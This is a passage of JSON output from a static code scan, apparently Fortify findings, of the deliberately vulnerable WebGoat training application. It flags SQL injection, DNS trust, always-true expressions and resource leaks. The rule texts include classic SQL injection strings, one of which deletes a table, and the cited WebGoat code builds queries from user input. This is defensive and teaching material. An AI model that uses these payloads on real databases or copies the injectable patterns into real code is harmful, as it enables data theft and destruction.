subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.</Content>","title":"<Content><Paragraph>The information returned by the call to <Replace key=\"PrimaryCall.name\"/> is not trustworthy. Attackers may spoof DNS entries. Do not rely on DNS for security.<AltParagraph>Attackers may spoof DNS entries. Do not rely on DNS names for security.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/challenges/Assignment1Test.java\nStartLine: 57, EndLine: 63\nCode:\n@Test\n    public void success() throws Exception {\n        InetAddress addr = InetAddress.getLocalHost();\n        String host = addr.getHostAddress();\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/challenge/1\")\n                .header(\"X-Forwarded-For\", host)","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/test/java/org/owasp/webgoat/challenges/Assignment1Test.java\nStartLine: 58, EndLine: 64\nCode:\n@Test\n    public void success() throws Exception {\n        InetAddress addr = InetAddress.getLocalHost();\n        String host = addr.getHostAddress();\n        mockMvc.perform(MockMvcRequestBuilders.post(\"/challenge/1\")\n                .header(\"X-Forwarded-For\", host)\n                .param(\"username\", \"admin\")","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-23","Rev_4"]}},{"id":"0C82D0B5-1B23-4D56-B38E-F6263A454766","desc":"<Content>This expression (or part of it) will always evaluate to <code>true</code>; the program could be rewritten in a simpler form. The nearby code may be present for debugging purposes, or it may not have been maintained along with the rest of the program. The expression may also be indicative of a bug earlier in the method.\n\n<b>Example 1:</b> The following method never sets the variable <code>secondCall</code> after initializing it to <code>true</code>. (The variable <code>firstCall</code> is mistakenly used twice.)  The result is that the expression <code>firstCall || secondCall</code> will always evaluate to <code>true</code>, so <code>setUpForCall()</code> will always be invoked.\n\n<pre>\npublic void setUpCalls() {\n  boolean firstCall = true;\n  boolean secondCall = true;\n\n  if (fCall &lt; 0) {\n    cancelFCall();\n    firstCall = false;\n  }\n  if (sCall &lt; 0) {\n    cancelSCall();\n    firstCall = false;\n  }\n\n  if (firstCall || secondCall) {\n    setUpForCall();\n  }\n}\n</pre>\n\n<b>Example 2:</b> The following method tries to check the variables <code>firstCall</code> and <code>secondCall</code>. (The variable <code>firstCall</code> is mistakenly set to <code>true</code> instead of being checked.)  The result is that the first part of the expression <code>firstCall = true &amp;&amp; secondCall == true</code> will always evaluate to <code>true</code>.\n\n<pre>\npublic void setUpCalls() {\n  boolean firstCall = false;\n  boolean secondCall = false;\n\n  if (fCall &gt; 0) {\n    setUpFCall();\n    firstCall = true;\n  }\n  if (sCall &gt; 0) {\n    setUpSCall();\n    secondCall = true;\n  }\n\n  if (firstCall = true &amp;&amp; secondCall == true) {\n    setUpDualCall();\n  }\n}\n</pre></Content>","title":"<Content><Paragraph>The expression (or part of it) at <Replace key=\"PrimaryLocation.file\"/> line <Replace key=\"PrimaryLocation.line\"/> will always evaluate to <code>true</code>.<AltParagraph>This expression (or part of it) will always evaluate to <code>true</code>.</AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/Assignment1.java\nStartLine: 47, EndLine: 53\nCode:\npublic AttackResult completed(@RequestParam String username, @RequestParam String password, HttpServletRequest request) {\n        boolean ipAddressKnown =  true;\n        boolean passwordCorrect = \"admin\".equals(username) && PASSWORD.equals(password);\n        if (passwordCorrect && ipAddressKnown) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(1)).build();\n        } else if (passwordCorrect) {\n            return failed().feedback(\"ip.address.unknown\").build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/Assignment1.java\nStartLine: 45, EndLine: 51\nCode:\n@PostMapping(\"/challenge/1\")\n    @ResponseBody\n    public AttackResult completed(@RequestParam String username, @RequestParam String password, HttpServletRequest request) {\n        boolean ipAddressKnown =  true;\n        boolean passwordCorrect = \"admin\".equals(username) && PASSWORD.equals(password);\n        if (passwordCorrect && ipAddressKnown) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(1)).build();","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"AB181F77-DEC9-44BE-A798-47D9CBA60BD0","desc":"<Content>SQL injection errors occur when:\n\n1. Data enters a program from an untrusted source.\n\nIn this case, Fortify Static Code Analyzer could not determine that the source of the data is trusted.\n\n2. The data is used to dynamically construct a SQL query.\n\n<Paragraph>\nIn this case, the data is passed to <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b> The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where the owner matches the user name of the currently-authenticated user.\n\n<pre>\n...\n\tString userName = ctx.getAuthenticatedUserName();\n\tString itemName = request.getParameter(\"itemName\");\n\tString query = \"SELECT * FROM items WHERE owner = '\"\n\t\t\t\t+ userName + \"' AND itemname = '\"\n\t\t\t\t+ itemName + \"'\";\n\tResultSet rs = stmt.execute(query);\n...\n</pre>\n\nThe query intends to execute the following code:\n\n<pre>\n\tSELECT * FROM items\n\tWHERE owner = &lt;userName&gt;\n\tAND itemname = &lt;itemName&gt;;\n</pre>\n\nHowever, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if <code>itemName</code> does not contain a single-quote character. If an attacker with the user name <code>wiley</code> enters the string \"<code>name' OR 'a'='a</code>\" for <code>itemName</code>, then the query becomes the following:\n\n<pre>\n\tSELECT * FROM items\n\tWHERE owner = 'wiley'\n\tAND itemname = 'name' OR 'a'='a';\n</pre>\n\nThe addition of the <code>OR 'a'='a'</code> condition causes the where clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:\n\n<pre>\n\tSELECT * FROM items;\n</pre>\n\nThis simplification of the query allows the attacker to bypass the requirement that the query must only return items owned by the authenticated user. The query now returns all entries stored in the <code>items</code> table, regardless of their specified owner.\n\n<b>Example 2:</b> This example examines the effects of a different malicious value passed to the query constructed and executed in <code>Example 1</code>. If an attacker with the user name <code>wiley</code> enters the string \"<code>name'; DELETE FROM items; --</code>\" for <code>itemName</code>, then the query becomes the following two queries:\n\n<pre>\n\tSELECT * FROM items\n\tWHERE owner = 'wiley'\n\tAND itemname = 'name';\n\n\tDELETE FROM items;\n\n\t--'\n</pre>\n\nMany database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.\n\nNotice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed [4]. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one used in <code>Example 1</code>. If an attacker enters the string \"<code>name'); DELETE FROM items; SELECT * FROM items WHERE 'a'='a</code>\", the following three valid statements will be created:\n\n<pre>\n\tSELECT * FROM items\n\tWHERE owner = 'wiley'\n\tAND itemname = 'name';\n\n\tDELETE FROM items;\n\n\tSELECT * FROM items WHERE 'a'='a';\n</pre>\n\nSome think that in the mobile world, classic web application vulnerabilities, such as SQL injection, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.\n\n<b>Example 3:</b> The following code adapts <code>Example 1</code> to the Android platform.\n\n<pre>\n...\n        PasswordAuthentication pa = authenticator.getPasswordAuthentication();\n        String userName = pa.getUserName();\n        String itemName = this.getIntent().getExtras().getString(\"itemName\");\n        String query = \"SELECT * FROM items WHERE owner = '\"\n                                + userName + \"' AND itemname = '\"\n                                + itemName + \"'\";\n        SQLiteDatabase db = this.openOrCreateDatabase(\"DB\", MODE_PRIVATE, null);\n        Cursor c = db.rawQuery(query, null);\n...\n</pre>\n\nOne traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers may:\n\n    - Target fields that are not quoted\n    - Find ways to bypass the need for certain escaped meta-characters\n    - Use stored procedures to hide the injected meta-characters\n\nManually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.\n\nAnother solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they fail to protect against many others. Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.</Content>","title":"<Content><Paragraph>On line <Replace key=\"PrimaryLocation.line\"/> of <Replace key=\"PrimaryLocation.file\"/>, the method <Replace key=\"EnclosingFunction.name\"/> invokes a SQL query built using input potentially coming from an untrusted source. This call could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.<AltParagraph>Constructing a dynamic SQL statement with input that comes from an untrusted source could allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands. </AltParagraph></Paragraph></Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 48, EndLine: 54\nCode:\nString queryString = \"SELECT * From user_data WHERE Login_Count = ? and userid= \" + accountName;\n    try {\n      Connection connection = DatabaseUtilities.getConnection(getWebSession());\n      PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE,\n              ResultSet.CONCUR_READ_ONLY);\n\n      int count = 0;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 64, EndLine: 70\nCode:\nreturn failed().feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n        }\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 80, EndLine: 86\nCode:\nattackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();\n                \t}\n                } else {\n                    PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                    preparedStatement.setString(1, username_reg);\n                    preparedStatement.setString(2, email_reg);\n                    preparedStatement.setString(3, password_reg);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 76, EndLine: 82\nCode:\nConnection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n        statement.setString(1, username_login);\n        statement.setString(2, password_login);\n        ResultSet resultSet = statement.executeQuery();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 49, EndLine: 55\nCode:\nif (resultSet.next()) {\n                attackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();\n            } else {\n                PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                preparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 65, EndLine: 71\nCode:\n@ResponseBody\n    public List<Server> sort(@RequestParam String column) {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        PreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by \" + column);\n        ResultSet rs = preparedStatement.executeQuery();\n        List<Server> servers = Lists.newArrayList();\n        while (rs.next()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallengeLogin.java\nStartLine: 45, EndLine: 51\nCode:\nConnection connection = DatabaseUtilities.getConnection(webSession);\n    SqlInjectionChallenge.checkDatabase(connection);\n\n    PreparedStatement statement = connection.prepareStatement(\"select password from \" + SqlInjectionChallenge.USERS_TABLE_NAME + \" where userid = ? and password = ?\");\n    statement.setString(1, username_login);\n    statement.setString(2, password_login);\n    ResultSet resultSet = statement.executeQuery();","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-10","Rev_4"]}},{"id":"EC71C442-6E66-45DF-9890-41A5156B1CD0","desc":"<Content>Resource leaks have at least two common causes:\n\n- Error conditions and other exceptional circumstances.\n\n- Confusion over which part of the program is responsible for releasing the resource.\n\nMost unreleased resource issues result in general software reliability problems. However, if an attacker can intentionally trigger a resource leak, the attacker may be able to launch a denial of service attack by depleting the resource pool.\n\n<b>Example:</b> Under normal conditions, the following code executes a database query, processes the results returned by the database, and closes the allocated statement object. But if an exception occurs while executing the SQL or processing the results, the statement object will not be closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.\n<pre>\n  Statement stmt = conn.createStatement();\n  ResultSet rs = stmt.executeQuery(CXN_SQL);\n  harvestResults(rs);\n  stmt.close();\n</pre>\nIn this case, there are program paths on which a Statement is not released.</Content>","title":"<Content><Paragraph>The function <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> sometimes fails to release a database resource allocated by <Replace key=\"FirstTransitionFunction\"/> on line <Replace key=\"FirstTraceLocation.line\"/>.<AltParagraph>The program can potentially fail to release a database resource.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 55, EndLine: 61\nCode:\n@ResponseBody\n    @SneakyThrows\n    public AttackResult completed(@RequestParam String ip) {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        PreparedStatement preparedStatement = connection.prepareStatement(\"select ip from servers where ip = ? and hostname = ?\");\n        preparedStatement.setString(1, ip);\n        preparedStatement.setString(2, \"webgoat-prd\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 56, EndLine: 62\nCode:\n@SneakyThrows\n    public AttackResult completed(@RequestParam String ip) {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        PreparedStatement preparedStatement = connection.prepareStatement(\"select ip from servers where ip = ? and hostname = ?\");\n        preparedStatement.setString(1, ip);\n        preparedStatement.setString(2, \"webgoat-prd\");\n        ResultSet resultSet = preparedStatement.executeQuery();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 57, EndLine: 63\nCode:\npublic AttackResult completed(@RequestParam String ip) {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        PreparedStatement preparedStatement = connection.prepareStatement(\"select ip from servers where ip = ? and hostname = ?\");\n        preparedStatement.setString(1, ip);\n        preparedStatement.setString(2, \"webgoat-prd\");\n        ResultSet resultSet = preparedStatement.executeQuery();\n        if (resultSet.next()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 58, EndLine: 64\nCode:\nConnection connection = DatabaseUtilities.getConnection(webSession);\n        PreparedStatement preparedStatement = connection.prepareStatement(\"select ip from servers where ip = ? and hostname = ?\");\n        preparedStatement.setString(1, ip);\n        preparedStatement.setString(2, \"webgoat-prd\");\n        ResultSet resultSet = preparedStatement.executeQuery();\n        if (resultSet.next()) {\n            return trackProgress(success().build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 59, EndLine: 65\nCode:\nPreparedStatement preparedStatement = connection.prepareStatement(\"select ip from servers where ip = ? and hostname = ?\");\n        preparedStatement.setString(1, ip);\n        preparedStatement.setString(2, \"webgoat-prd\");\n        ResultSet resultSet = preparedStatement.executeQuery();\n        if (resultSet.next()) {\n            return trackProgress(success().build());\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 60, EndLine: 66\nCode:\npreparedStatement.setString(1, ip);\n        preparedStatement.setString(2, \"webgoat-prd\");\n        ResultSet resultSet = preparedStatement.executeQuery();\n        if (resultSet.next()) {\n            return trackProgress(success().build());\n        }\n        return trackProgress(failed().build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 63, EndLine: 68\nCode:\nif (resultSet.next()) {\n            return trackProgress(success().build());\n        }\n        return trackProgress(failed().build());\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 61, EndLine: 67\nCode:\npreparedStatement.setString(2, \"webgoat-prd\");\n        ResultSet resultSet = preparedStatement.executeQuery();\n        if (resultSet.next()) {\n            return trackProgress(success().build());\n        }\n        return trackProgress(failed().build());\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 38, EndLine: 44\nCode:\npublic AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {\n        AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);\n\n        if (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 39, EndLine: 45\nCode:\nAttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);\n\n        if (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);\n\n            String checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 40, EndLine: 46\nCode:\nif (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);\n\n            String checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";\n            Statement statement = connection.createStatement();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 56, EndLine: 62\nCode:\npreparedStatement.execute();\n                attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();\n            }\n        }\n        return attackResult;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 43, EndLine: 49\nCode:\ncheckDatabase(connection);\n\n            String checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";\n            Statement statement = connection.createStatement();\n            ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n            if (resultSet.next()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 44, EndLine: 50\nCode:\nString checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";\n            Statement statement = connection.createStatement();\n            ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n            if (resultSet.next()) {\n                attackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 46, EndLine: 52\nCode:\nStatement statement = connection.createStatement();\n            ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n            if (resultSet.next()) {\n                attackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();\n            } else {\n                PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 49, EndLine: 55\nCode:\nif (resultSet.next()) {\n                attackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();\n            } else {\n                PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                preparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 50, EndLine: 56\nCode:\nattackResult = failed().feedback(\"user.exists\").feedbackArgs(username_reg).build();\n            } else {\n                PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                preparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);\n                preparedStatement.execute();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 51, EndLine: 57\nCode:\n} else {\n                PreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                preparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);\n                preparedStatement.execute();\n                attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 52, EndLine: 58\nCode:\nPreparedStatement preparedStatement = connection.prepareStatement(\"INSERT INTO \" + USERS_TABLE_NAME + \" VALUES (?, ?, ?)\");\n                preparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);\n                preparedStatement.execute();\n                attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge6/Assignment6.java\nStartLine: 53, EndLine: 59\nCode:\npreparedStatement.setString(1, username_reg);\n                preparedStatement.setString(2, email_reg);\n                preparedStatement.setString(3, password_reg);\n                preparedStatement.execute();\n                attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();\n            }\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 46, EndLine: 52\nCode:\nprotected AttackResult injectableQuery(String _query) {\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 48, EndLine: 54\nCode:\ntry {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                Statement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 66, EndLine: 72\nCode:\n} catch (SQLException sqle) {\n\n                return trackProgress(failed().output(sqle.getMessage()).build());\n            }\n        } catch (Exception e) {\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 57, EndLine: 63\nCode:\nResultSetMetaData _resultMetaData = _results.getMetaData();\n                StringBuffer output = new StringBuffer();\n                // user completes lesson if column phone exists\n                if (_results.first()) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    return trackProgress(success().output(output.toString()).build());\n                } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 59, EndLine: 65\nCode:\n// user completes lesson if column phone exists\n                if (_results.first()) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    return trackProgress(success().output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().output(output.toString()).build());\n                }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 61, EndLine: 67\nCode:\noutput.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    return trackProgress(success().output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().output(output.toString()).build());\n                }\n\n            } catch (SQLException sqle) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 64, EndLine: 70\nCode:\npublic AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {\n        AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);\n\n        if (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 65, EndLine: 71\nCode:\nAttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);\n\n        if (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);\n\n            try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: 